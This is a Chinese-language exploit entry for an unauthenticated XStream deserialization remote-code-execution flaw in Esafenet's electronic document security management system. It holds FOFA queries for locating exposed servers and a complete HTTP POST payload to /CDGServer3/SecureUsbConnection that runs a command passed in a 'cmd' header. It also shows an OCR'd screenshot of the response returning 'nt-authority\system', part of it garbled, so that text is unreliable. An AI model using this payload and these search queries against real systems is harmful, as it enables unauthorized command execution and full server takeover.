# Y5-32亿赛通-电子文档安全管理系统-反序列化RCE

### 漏洞描述:

某赛通电子文档安全管理系统多处接口处存XStream反序列化远程代码执行漏洞,未经身份验证的攻击者可通过该漏洞在服务器端任意执行代码,写入后门,获取服务器权限,进而控制整个web 服务器。

#### 网站图片:



### 网络测绘:

### fofa语法:

body="CDGServer3" || title="电子文档安全管理系统" || cert="esafenet" || body="/help/getEditionInfo.jsp"

### 漏洞复现:

## payload:

POST /CDGServer3/SecureUsbConnection?command=GETSYSTEMINFO HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
Connection: close
Content-Type: text/xml
cmd: whoami

NNLINELBIIKEOGPIFLNMHIPNNOHFNECLEHKBCIHIFHCMONPDPHOHMONIOCNLPBOKNAEEBHFCIFNMDPDAACABKCKIAEMBPOIBGPMNEIPJAOGBILDKMLDGAENLPAFBKFPFELKLGCEBMBMNKOIBMPHCIODCCEHOKPCEDHPNLONIC

## 效果图: Request く 〉 数据包扫描 熱加载 构造请求 💥 Responses 21bytes / 380ms 美化 渲染 请输入定位响 1 POST-/CDGServer3/SecureUsbConnection?command=GETSYSTEMINFO-HTTP/1.1 1 HTTP/1.1-200 HTTP/1.1-200 Set-Conkie: "SESSIONID=4C4142FCAEED8B0FDBE30ABD68B5ADEC; Path=/CDGS Content-Type: text/html; charset=utf-8 Date: Fri, "02 Feb: 2024-11:51:57-GMT Connection: close Content-Length: 21 User-Agent: 'Mozilla/5.0 (Windows 'NT 6.4; 'WOW64) AppleWebKit/537.36 (KHTML, 'like Gecko) Chrome/41.0. 2225.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Connection: close Content-Type: text/xml nt-authority\system NNLINELBIIKEOGPIFLNMHIPNNOHFNECLEHKBCIHIFHCMONPDPHOHMONIOCNLPBOKNAEEBHFCIFNMDPDAACABKCKIAEMBPOIBGPMN ETPJAGGELLDKKLDGAENLPAFBKFPFELKLGCEBMBNNKOIBMPHCIDDCCEHDKPCEDHPHLONDOEGNCPIGDFMGNDPOMMEDIJNFKCHHBF MFGBDDIOAHLOHNANDBJABECIJOEHKAPJCBDIDJHKAMAGEELEHJEEIDBDILILANAKCIIGLMDIDDMOPNCNGLPPOMMIGCEFEBIMDHFA GILTIDHO ZINAEHIPHNHIGIKIDCINLAHOAPCOJNIABOOKEFABINFIENLI PGGKINNIFICABBURGHCEPOOPHCHAEF BARNIFIA PBEKKPHOPBHFLJLNOGLABIJHIBOFFCPCLPAGLCEAONCAGIJFAEFOLKOLEHHNFBOJIAOFJKBFMGNKBEECKKJPCECMFKPPPKEGOIB HIBIBAGBIKAMOFLEKDKOMMGJOCEPEBNIHPFKEKKMCENNPHEODFNIOPHHFPNFFTJEEJPPIMGPKHDOACKEEJACLCOKIPFHHECFDF INMITIONAL CHI POACOGAL CHIKBOEBPONCCKINI) 3) 3ANLEPRIGLOTIA INDONERED HALCOLOGIA PRINCEPPI IN MINITIONAL CHI POACOGAL CHIKBOEBPONCKINI) 3) 3ANLEPRIGLOF HITALO INDONERED HALCOLOGIA PRINCEPPI INDIANI PROGRAMINA IN MINITIONAL CHIKBOERO HALCOLOGIA POAHOMPPIFFBPFCHAPPIDAIAILKODLCALBBINPCGLPKIED LEOMKEMBLMLBEGKNGCOKOFIPBCFAAHGCIMCAKFFLFIBDHCDFHMKKNDHLCGIMWKWBJDGIDJMWGEOEGJNJDNNEKFDMEAHMILDKIFB GKGEJCMGOFFKGJEMMAFLDGEEDBKOHADBAMHBMDJOGIFPMOKTILIGAEELNEOAKNEFHDOGHOPBDICEALJIENFKHFCEHMPBJLCFPDHD GBBFIMKHLLFIHONFDJAIEJJLPPFMAEHBHDEBOIDLCMCIKAFBEBFEBGJEECDEINCPNPKIENONIMPBJCCMCHOAJHHDKDKEGJGDGJDJ IDEHNNLNNHEONJEJHNLHLPMBBEJDLLJLLNPKIMGHLOFMMKBDEBHNFLPGEOKMHOFNBLLAALGMKNJONNGIOJLBFECJNLKHMBCKELDP BDMBFEHAKBHENNDFBBEDCAMMANNIGHDGLNJHJDAGFILNGBEDCDJBCJOANDAITLOFCFIJKDELPPFLFBOHHNIBEGOOFFFGARNOKBHPC BDELFJPAHICDPGANJALHFENNFHAJLNECAEGOGCBOIDLJENHCEDMAOEEOFKLDEBJEJOBCFLPEIEAGPOILBEGOKPOAAPGMICFHFLJN DMBGAJJPKNLIBOAABJLNADADNALIKHDJMDKGOPELEHGPDGNJHAAJKICHBFGMHCLEPFHCCKNFKPEOMHPLMOHBGDHCOGEIGPMIGLAH UMBDAJJYKNILBOURAD JINDUDUNALIKHUJUNUNDUELEHBUDUNJAHAJ ALCHBEMIKHEPPHICINKYKEUMPHILMONBOUNDUELEHBUDUK KBECDHFGLDIKIIIMEPHMIMCIGJJDCKIEDOLKCKOLAKBHIBHOPNAMPEIKHCKOPNHLACKHOGJAEMBJPFEBOCPBGGAFGGNCOBEAIPA NPLIBGDCCNNONDNOIPDGECCPELCEDPGCNJHEIDIFPJDKIFNJGHAHLHFNJCIJIHELMONJIEGHMBNWHBEJCDDDFOPAJOHBNKEDBG KKMLKCBBPFOOJCKFFINLCODLOFNOIEHENLJNOFDAMKFLHIADBNGANHIANHOCHLILNJLOCOHFHWNFHALJHOPGKLOPHLMELJFBIABE